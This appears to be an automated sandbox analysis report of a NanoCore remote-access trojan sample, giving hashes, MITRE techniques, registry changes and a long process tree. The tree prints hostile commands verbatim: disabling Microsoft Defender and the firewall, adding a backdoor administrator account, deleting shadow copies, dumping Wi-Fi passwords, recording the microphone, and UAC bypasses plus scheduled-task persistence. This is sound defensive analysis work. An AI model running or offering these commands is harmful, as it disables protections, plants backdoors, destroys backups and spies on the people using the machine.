nanocore | fe11285bd96d0a31bcbc640cb1e9fdd22861e42b3133021ff867d9c3e5dd5c36

Analysis

max time kernel
1s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/10/2026, 23:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
xoilactv1.cc_ransome.exe
Size 39KB
Sample261029-3srw9sfx2w
SHA256 fe11285bd96d0a31bcbc640cb1e9fdd22861e42b3133021ff867d9c3e5dd5c36
MD5 accb579d9199d1e7a142be05b9336f42
SHA1 4aa7bab5251cb4047ba4292907599fb34a0252e8
SHA512 65b154ca3bf11dbec7dd79c4a0b04df377c05b43413ced2c0a5cbdbd985a06eed6b17eeae25ff49870baf22ce81b5803c506241c34bcbe98ade873d26aaa83e7
SSDEEP 768:yIX+3t4tMYrbLcqNuYs37sGqmoI89bHvdEEusXqKhhayz1:Ud4tBbLk4xmoI89bPdf9XqihF
TLSH
T15103E74437FD8668F1BF6AB74D7282008775F8978D22D70D0ED1848E1AB3B448E98B93
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution nanocore impact keylogger persistence privilege_escalation ransomware spyware stealer trojan

Malware Config

Extracted

Family

nanocore

Attributes

c2_port
22401

Signatures

Family: NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Disables one or more Microsoft Defender components 1 TTPs 28 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
9056	powershell.exe
4224	powershell.exe
6432	powershell.exe
8284	powershell.exe
7832	powershell.exe
10644	powershell.exe
16408	powershell.exe
6572	powershell.exe
4336	powershell.exe
1556	powershell.exe
6768	powershell.exe
16584	powershell.exe
17164	powershell.exe
4276	powershell.exe
6416	powershell.exe
6392	powershell.exe
8060	powershell.exe
8528	powershell.exe
6184	powershell.exe
10140	powershell.exe
9456	powershell.exe
4008	powershell.exe
2080	powershell.exe
2836	powershell.exe
5244	powershell.exe
6692	powershell.exe
8964	powershell.exe
3944	powershell.exe

Modifies Windows Firewall 2 TTPs 22 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
10952	netsh.exe
14672	netsh.exe
14912	netsh.exe
8432	netsh.exe
10228	netsh.exe
12272	netsh.exe
5096	netsh.exe
14372	netsh.exe
16772	netsh.exe
12196	netsh.exe
4240	netsh.exe
11052	netsh.exe
6620	netsh.exe
14000	netsh.exe
15440	netsh.exe
16868	netsh.exe
9200	netsh.exe
13648	netsh.exe
9412	netsh.exe
8888	netsh.exe
17128	netsh.exe
11832	netsh.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.bat	xoilactv1.cc_ransome.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Run\TCP Monitor = "C:\\Users\\Admin\\AppData\\Local\\tcpmon.exe"	xoilactv1.cc_ransome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateService = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv1.cc_ransome.exe"	xoilactv1.cc_ransome.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 52 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
6692	powershell.exe
8528	powershell.exe
9456	powershell.exe
10644	powershell.exe
17164	powershell.exe
6416	powershell.exe
8060	powershell.exe
8964	powershell.exe
9056	powershell.exe
16584	powershell.exe
6572	powershell.exe
4336	powershell.exe
4276	powershell.exe
1556	powershell.exe
2836	powershell.exe
6392	powershell.exe
8284	powershell.exe
3944	powershell.exe
6768	powershell.exe
4008	powershell.exe
5244	powershell.exe
6184	powershell.exe
10140	powershell.exe
7832	powershell.exe
16408	powershell.exe
2080	powershell.exe
4224	powershell.exe
6432	powershell.exe
14144	powershell.exe
13236	powershell.exe
16668	powershell.exe
9264	powershell.exe
12076	powershell.exe
15084	powershell.exe
16224	powershell.exe
10104	powershell.exe
10320	powershell.exe
10688	powershell.exe
11284	powershell.exe
10232	powershell.exe
10660	powershell.exe
6304	powershell.exe
13200	powershell.exe
9432	powershell.exe
10372	powershell.exe
13548	powershell.exe
14068	powershell.exe
7588	powershell.exe
11152	powershell.exe
11488	powershell.exe
14240	powershell.exe
14700	powershell.exe

Creates a new local user account 1 TTPs 55 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
2904	net.exe
7140	net1.exe
11240	net.exe
10600	net1.exe
14876	net1.exe
17204	net.exe
10708	net.exe
15496	net.exe
4660	net1.exe
120	net.exe
6168	net1.exe
8880	net.exe
9520	net1.exe
10280	net1.exe
12772	net1.exe
13568	net1.exe
3044	net.exe
8596	net.exe
10740	net1.exe
7788	net.exe
13704	net.exe
1668	net.exe
4768	net1.exe
7008	net.exe
2596	net.exe
7744	net.exe
9076	net1.exe
8616	net.exe
9868	net1.exe
5128	net1.exe
2808	net1.exe
8104	net1.exe
8412	net.exe
8324	net1.exe
5648	net.exe
11216	net.exe
17100	net.exe
368	net1.exe
10872	net1.exe
13536	net.exe
11064	net1.exe
11336	net1.exe
852	net1.exe
2752	net.exe
6524	net1.exe
7152	net.exe
8156	net1.exe
9136	net1.exe
16936	net.exe
6544	net.exe
6728	net.exe
5372	net.exe
14608	net1.exe
17216	net1.exe
11384	net.exe

Launches sc.exe 19 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
15628	sc.exe
13172	sc.exe
15892	sc.exe
14020	sc.exe
13964	sc.exe
17360	sc.exe
6228	sc.exe
15428	sc.exe
10016	sc.exe
3484	sc.exe
15624	sc.exe
16928	sc.exe
3152	sc.exe
15680	sc.exe
13204	sc.exe
12168	sc.exe
13832	sc.exe
8884	sc.exe
15316	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 25 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4068	netsh.exe
16352	netsh.exe
12856	netsh.exe
16352	netsh.exe
9372	netsh.exe
9852	netsh.exe
10596	netsh.exe
7300	netsh.exe
12092	netsh.exe
13324	netsh.exe
14476	netsh.exe
400	netsh.exe
12480	netsh.exe
10584	netsh.exe
12464	netsh.exe
12836	netsh.exe
9644	netsh.exe
10980	netsh.exe
11100	netsh.exe
14520	netsh.exe
10640	netsh.exe
10552	netsh.exe
12436	netsh.exe
13828	netsh.exe
12956	netsh.exe

Interacts with shadow copies 3 TTPs 22 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
12476	vssadmin.exe
11080	vssadmin.exe
10260	vssadmin.exe
9884	vssadmin.exe
4280	vssadmin.exe
11812	vssadmin.exe
13192	vssadmin.exe
16148	vssadmin.exe
11372	vssadmin.exe
15828	vssadmin.exe
3880	vssadmin.exe
13148	vssadmin.exe
3716	vssadmin.exe
14088	vssadmin.exe
15944	vssadmin.exe
13160	vssadmin.exe
11552	vssadmin.exe
13880	vssadmin.exe
15312	vssadmin.exe
1936	vssadmin.exe
15984	vssadmin.exe
10676	vssadmin.exe

Modifies registry class 6 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\shell\open	xoilactv1.cc_ransome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv1.cc_ransome.exe"	xoilactv1.cc_ransome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\shell\open\command\DelegateExecute	xoilactv1.cc_ransome.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\shell\open\command	xoilactv1.cc_ransome.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings	xoilactv1.cc_ransome.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\shell	xoilactv1.cc_ransome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 28 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
7364	schtasks.exe
9160	schtasks.exe
7904	schtasks.exe
12132	schtasks.exe
12852	schtasks.exe
13260	schtasks.exe
4124	schtasks.exe
9468	schtasks.exe
10228	schtasks.exe
3604	schtasks.exe
13872	schtasks.exe
7864	schtasks.exe
6068	schtasks.exe
2320	schtasks.exe
6844	schtasks.exe
852	schtasks.exe
6412	schtasks.exe
9032	schtasks.exe
14816	schtasks.exe
17260	schtasks.exe
5056	schtasks.exe
5248	schtasks.exe
3052	schtasks.exe
7132	schtasks.exe
7376	schtasks.exe
11044	schtasks.exe
2960	schtasks.exe
5740	schtasks.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	5096	cmstp.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4900	mmc.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 6112 wrote to memory of 5056	6112	xoilactv1.cc_ransome.exe	88
PID 6112 wrote to memory of 5096	6112	xoilactv1.cc_ransome.exe	488
PID 6112 wrote to memory of 4720	6112	xoilactv1.cc_ransome.exe	91
PID 6112 wrote to memory of 3992	6112	xoilactv1.cc_ransome.exe	92
PID 6112 wrote to memory of 4336	6112	xoilactv1.cc_ransome.exe	93
PID 4720 wrote to memory of 4900	4720	eventvwr.exe	94

C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe
"C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe"
1⤵
- Creates a file in the Startup directory
- Adds Run key to start application
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:6112
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5056
- C:\Windows\System32\cmstp.exe
  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\3e2bee5d-76af-48f1-b414-1f22a6e7e666.inf
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5096
- C:\Windows\System32\eventvwr.exe
  "C:\Windows\System32\eventvwr.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4720
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
    3⤵
    - Suspicious use of SetWindowsHookEx
    PID:4900
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:3992
- - C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe
    "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe"
    3⤵
    PID:5240
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2960
  - - C:\Windows\System32\cmstp.exe
      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\0a14b85e-9db8-47ec-9d77-55d52b1b8b97.inf
      4⤵
      PID:4296
  - - C:\Windows\System32\eventvwr.exe
      "C:\Windows\System32\eventvwr.exe"
      4⤵
      PID:2332
    - - C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        5⤵
        
        PID:3380
  - - C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      4⤵
      PID:5148
    - - C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe"
        5⤵
        
        PID:2488
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4124
      - C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\bd5a81fe-26d4-46ca-ac44-c0014a7f3bc5.inf
        6⤵
        
        PID:2956
      - C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        6⤵
        
        PID:2560
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        7⤵
        
        PID:712
      - C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        6⤵
        
        PID:4532
        
        C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe"
        7⤵
        
        PID:1260
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe" /sc onlogon /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2320
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\cd29f640-1331-4df9-a59b-a2bafb17b498.inf
        8⤵
        
        PID:2668
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        8⤵
        
        PID:568
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        9⤵
        
        PID:6248
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        8⤵
        
        PID:6388
        
        C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe"
        9⤵
        
        PID:7000
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe" /sc onlogon /f
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:852
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\63f64069-728f-4765-a54c-d5308f94c342.inf
        10⤵
        
        PID:6476
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        10⤵
        
        PID:6280
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        11⤵
        
        PID:2908
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        10⤵
        
        PID:6300
        
        C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe"
        11⤵
        
        PID:7548
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe" /sc onlogon /f
        12⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6412
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\6785325c-9b57-4672-a4a6-70760b8f3d39.inf
        12⤵
        
        PID:3716
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        12⤵
        
        PID:6176
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        13⤵
        
        PID:8356
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        12⤵
        
        PID:8520
        
        C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe"
        13⤵
        
        PID:7020
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe" /sc onlogon /f
        14⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9468
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\4b13b139-dca1-41b3-9e31-3e5a1d5d8115.inf
        14⤵
        
        PID:9804
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        14⤵
        
        PID:9912
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        15⤵
        
        PID:10088
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        14⤵
        
        PID:10076
        
        C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe"
        15⤵
        
        PID:3496
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe" /sc onlogon /f
        16⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:12132
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\2912e221-bbd0-45d6-8560-1cda8991dd3f.inf
        16⤵
        
        PID:12636
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        16⤵
        
        PID:13156
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        17⤵
        
        PID:13284
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        16⤵
        
        PID:9520
        
        C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe"
        17⤵
        
        PID:13476
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe" /sc onlogon /f
        18⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3604
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\e725bc28-a549-4292-86f4-e4dde092cf8e.inf
        18⤵
        
        PID:15364
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        18⤵
        
        PID:8740
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        19⤵
        
        PID:9932
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        18⤵
        
        PID:4364
        
        C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe"
        19⤵
        
        PID:12664
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe" /sc onlogon /f
        20⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:17260
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\1be85932-2643-462b-8eda-fc476514cb6e.inf
        20⤵
        
        PID:16644
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        20⤵
        
        PID:16232
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        21⤵
        
        PID:1608
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        20⤵
        
        PID:4224
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        20⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:16408
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        20⤵
        Creates a new local user account
        
        PID:10708
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        21⤵
        Creates a new local user account
        
        PID:13568
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        20⤵
        
        PID:4280
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        18⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:16584
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        18⤵
        Creates a new local user account
        
        PID:17204
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        19⤵
        Creates a new local user account
        
        PID:12772
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        18⤵
        
        PID:1920
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        19⤵
        
        PID:320
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        18⤵
        
        PID:8484
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639289145651442969.wav')"
        18⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:16668
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        18⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:13324
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        16⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:3944
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        16⤵
        Creates a new local user account
        
        PID:7788
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        17⤵
        Creates a new local user account
        
        PID:10280
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        16⤵
        
        PID:13736
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        17⤵
        
        PID:15004
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        16⤵
        
        PID:11712
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639289145329029528.wav')"
        16⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:14068
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        16⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:12856
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        16⤵
        Interacts with shadow copies
        
        PID:13160
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        16⤵
        
        PID:12880
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        16⤵
        
        PID:13492
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        17⤵
        
        PID:7528
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        16⤵
        Modifies Windows Firewall
        
        PID:11832
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        14⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:10140
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        14⤵
        Creates a new local user account
        
        PID:5648
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        15⤵
        Creates a new local user account
        
        PID:10740
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        14⤵
        
        PID:10340
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        15⤵
        
        PID:10072
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        14⤵
        
        PID:12964
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639289145096728297.wav')"
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:16224
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        14⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:16352
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        14⤵
        Interacts with shadow copies
        
        PID:16148
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        14⤵
        
        PID:14392
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        14⤵
        
        PID:16604
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        15⤵
        
        PID:13148
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        14⤵
        Modifies Windows Firewall
        
        PID:16772
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        14⤵
        Launches sc.exe
        
        PID:17360
        
